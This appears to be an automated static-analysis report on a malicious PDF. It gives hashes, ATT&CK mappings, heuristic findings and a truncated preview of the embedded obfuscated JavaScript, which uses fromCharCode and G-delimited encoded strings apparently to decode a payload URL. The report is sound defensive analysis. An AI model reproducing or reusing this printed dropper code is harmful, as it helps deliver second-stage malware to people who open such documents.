Malicious PDF — malware analysis report

Static analysis result for SHA-256 761a297ddc3cedd0…

MALICIOUS

PDF

35.6 KB Authoring application: 204G159G162G204G195G168G207G153G207G144G198G159G198G159G198G159G198G153G198G159G147G198G198G153G147G201G204G159G150G204G198G159G147G198G198G153G153G156G144G201G165G207G147G195G147G198G147G198G150G159G
MD5: 0cbc4be6c2579acbdf1f7849e1e1c46d SHA-1: 7dea2980d479451c05cae804f91c4cf97996f6ac SHA-256: 761a297ddc3cedd0209c3136fed303149acb73063e8535ba1fe8d28d2b8bcc5e
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is heavily obfuscated using string concatenation and character code manipulation. The primary function appears to decode a URL from which a second-stage payload is likely downloaded and executed. The ML classifier strongly indicates maliciousness, and the presence of JavaScript exploit cluster heuristics further supports this. The file's structure and the nature of the script suggest it's delivered as an attachment.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9995

Heuristics 6

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0099_000.js
575d0bdd008d8572f586a62acebd6d1e2a336885188cd717a7b33f5bd1ab0215
pdf-javascript-stream PDF /JS object 99 at offset 0x7FAB 11272 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function rhjahahagk(){
function gqrqewfsdf(str){var set='';var s='';var ee='';
str = sadfjsadkl(str);
str = str.split(",");
for(var i=0;i<str.length;i++){  
ee=str[i]/3;
set+=asdfqwef(ee.toString(16));}
return set;
}
function dsjfassldfhgj(sadsfjkgAD){var jdhjkashfhaui = 0/120+""; return jdhjkashfhaui+sadsfjkgAD;}
function asdfqwef(eds){var set='';var s=eds;
if (s.length<2)
{set=dsjfassldfhgj(s);}
else{set=s;}
return set;
}
function qwaerasdf(asd){return String.fromCharCode(asd);}
var asdfqwegqwegqewfa="G315G96G180G96G153G144"+"G144G177G96G315G129G129"+"G123G369G327G303G327G333"+"G342G363G273"+"G315G279G96G183G96G"+"324G333G36"+"0G261G312G30"+"3G303G138G345G351G2"+"94G345G348G342G120G144G132"+"G324G333G360G261G312"+"G303G303G138G"+"324G303G330G309G3"+"48G312G96G135G96G1"+"47G96G123G96G129G96G300G2"+"91G321G246G333G"+"348G303G177G375G37"+"5G30G306G35"+"1G330G297G348"+"G315G333G330G96G34"+"5G348G342G285G3"+"42G303G336G303G291G"+"348G96G120G96G315G330G3"+"36G351G348G132G9"+"6G297G330G348G96G1"+"23G96G369G30G354G291G"+"342G96G294G351"+"G306G96G183G9"+"6G102G102G177G30G"+"306G333G342G96G120"+"G315G183G144G"+"177G96G315G96G180G96G297G"+"330G348G177G9"+"6G315G129G129G"+"123G369G30G294"+"G351G306G96G12"+"9G183G96G315G330G3"+"36G351G348G177G30G3"+"75G342G303G348G351G"+"342G330G96G294G351G306G17"+"7G375G30G306G351G330"+"G297G348G315G333G3"+"30G96G345G312G303G324G324"+"G297G333G300G303G120G3"+"24G333G291G300G255G"+"342G324G123G369G30G3"+"54G291G342G96G3"+"45G297G333G"+"300G303G96G183G96G"+"102G207G198G147G147"+"G159G198G156G"+"198G153G153G201G17"+"1G162G162G168"+"G147G201G171G144G1"+"44G144G156G168G144G1"+"53G156G144G198G207G156G207G"+"150G210G195G207G19"+"8G144G159G207"+"G168G207G195G210G21"+"0G210G210G2"+"10G210G144G204G159G195"+"G207G159G207"+"G156G207G156G204G1"+"59G150G204G168G144G162G21"+"0G171G159G204G156G162G2"+"10G171G150G207G168G162G2"+"10G171G150G210G168G16"+"2G210G168G195G2"+"07G201G162G210G195G150G201G1"+"56G162G210G204G1"+"50G168G150G204G204G195"+"G201G210G201G171G147G147"+"G162G162G210G195G147"+"G204G168G162"+"G210G198G144G207G147G"+"171G201G207G159G144G207G1"+"62G210G171G162G201G156G20"+"7G159G144G195G198G162"+"G204G159G150G204G"+"195G204G195G"+"159G156G171G207G159G14"+"4G201G204G159G153G21"+"0G207G198G159G195G"+"210G156G204G201G147G162G171G"+"144G207G201G150G159G150"+"G210G207G195G207G159"+"G153G165G195G156G144G210"+"G147G159G204G210G210G1"+"98G171G147G144G153G198G2"+"07G162G210G171G162"+"G201G144G207G159G"+"144G195G168G1"+"50G162G210G207G168G1"+"95G195G162G210G171G162G21"+"0G168G207G159G144G195G162G2"+"10G207G144G162G195G207"+"G159G144G201G156G"+"210G198G210G19"+"8G165G150G165G1"+"98G198G144G"+"201G165G171G147G198G147G"+"198G147G198G144G201G1"+"59G162G147G198G147G198G147"+"G198G144G201G156G17"+"1G147G198G147G1"+"98G147G198G144G"+"201G156G201G14"+"7G198G147G198G147G198G144G"+"201G156G165G147G1"+"98G147G198G147G198G"+"144G201G165G19"+"5G147G198G147G198G14"+"7G198G144G201G165"+"G204G147G198"+"G147G198G147G";
var fdjkghajklsdfhldskhfk="65G144G201"+"G207G144G201G204G147G1"+"47G198G159G198G156"+"G198G147G198G150G147G198"+"G171G15"+"3G144G168G147"+"G198G19"+"8G153G144G1"+"44G147G198G171G153"+"G144G168G147G198G"+"198G153G144G2"+"01G168G150G159G210"+"G207G150G207G156G168"+"G150G195G21"+"0G168G150"+"G162G165G147G210"+"G207G156G171G144G204"+"G162G204G159G150"+"G204G198G171G168G207"+"G207G147G198G159G"+"198G159G198G147G19"+"8G159G198G159G1"+"47G198G198G153G147G"+"144G162G165G147G2"+"01G201G156G171G195G144"+"G150G204G159"+"G150G156G204G1"+"59G150G204"+"G195G156G207G"+"198G159G195"+"G210G144G207G153"+"G204G201G147G162G171G1"+"47G147G153G150G153G207G144"+"G207G153G201G1"+"50G168G150G204G171G"+"204G159G162G204G195G1"+"68G207G153G207G144G198G159G198"+"G159G198G159G198G153G19"+"8G159G147G198G198G153G147"+"G201G204G159G150G204"+"G198G159G147G198"+"G198G153G153G15"+"6G144G201G165G207G14"+"7G195G147G198G147G198G"+"150G159G171G153G195G207G144"+"G153G162G207G168G198G150G15"+"0G210G165G144G162"+"G162G195G1"+"71G156G147G144G20"+"7G210G159G210G204G150G2"+"10G153G171G159G153G210"+"G144G150G162"+"G162G210G165G147"+"G168G162G171G"+"168G165G17
... (truncated)